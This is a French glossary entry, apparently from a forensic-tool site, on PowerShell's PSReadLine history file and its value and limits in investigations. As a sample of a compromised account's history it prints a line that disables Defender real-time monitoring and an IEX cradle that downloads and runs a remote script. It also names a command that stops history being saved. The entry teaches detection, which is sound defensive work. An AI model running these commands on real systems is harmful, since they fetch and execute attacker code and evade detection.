Skip to content

Glossaire

PSReadLine

L'éditeur de ligne de la console PowerShell qui enregistre l'historique interactif des commandes dans ConsoleHost_history.txt, sans horodatage.

PSReadLine est le module d'édition de ligne de commande que la console PowerShell charge par défaut, fourni avec le système depuis PowerShell 5 sous Windows 10. En plus de la coloration syntaxique et des raccourcis clavier, il tient un historique persistant : chaque commande qu'un utilisateur valide à l'invite est ajoutée à un fichier texte brut dans le profil itinérant de cet utilisateur. Pour un enquêteur, ce fichier est souvent la trace la plus directe de ce qu'une personne a réellement tapé.

Pourquoi c'est important en investigation

Le fichier d'historique survit aux redémarrages et aux nouvelles sessions : il peut donc remonter des semaines, voire des mois avant l'entrée la plus ancienne des journaux d'événements. Il capture aussi les commandes exactement telles qu'elles ont été tapées, y compris un blob -EncodedCommand que la journalisation des blocs de script ne stockerait que sous forme décodée. Mais il a des limites strictes :

  • Aucun horodatage. L'ordre des lignes est la seule chronologie ; pour dater une commande, rapprochez-la d'un événement 4104 ou 800, ou d'une transcription.
  • Uniquement la saisie interactive en console. Les scripts, les tâches planifiées, les sessions WinRM et les hôtes non-console n'y sont pas enregistrés.
  • Facile à altérer. Un attaquant peut supprimer ou tronquer le fichier, ou désactiver l'enregistrement avec Set-PSReadLineOption -HistorySaveStyle SaveNothing.
  • Tapé ne veut pas dire exécuté. Les fautes de frappe et les commandes abandonnées sont également enregistrées.

Exemple

L'emplacement par défaut pour la console powershell.exe standard est :

%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Les autres hôtes écrivent <HostName>_history.txt, et (Get-PSReadLineOption).HistorySavePath indique le chemin actif. Quelques lignes provenant d'un compte compromis pourraient ressembler à ceci :

whoami /groups
Set-MpPreference -DisableRealtimeMonitoring $true
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')

Une commande sur plusieurs lignes est enregistrée avec un accent grave final sur chaque ligne sauf la dernière ; le parseur les réunit en une seule entrée et signale l'altération de Defender et le cradle de téléchargement ci-dessus, ainsi que les commandes qui effacent ou suppriment l'historique.

Termes associés

Lisez un fichier d'historique à côté des journaux d'événements dans PowerShell Parser, et consultez l'analyse forensique de ConsoleHost_history.txt pour la démarche complète.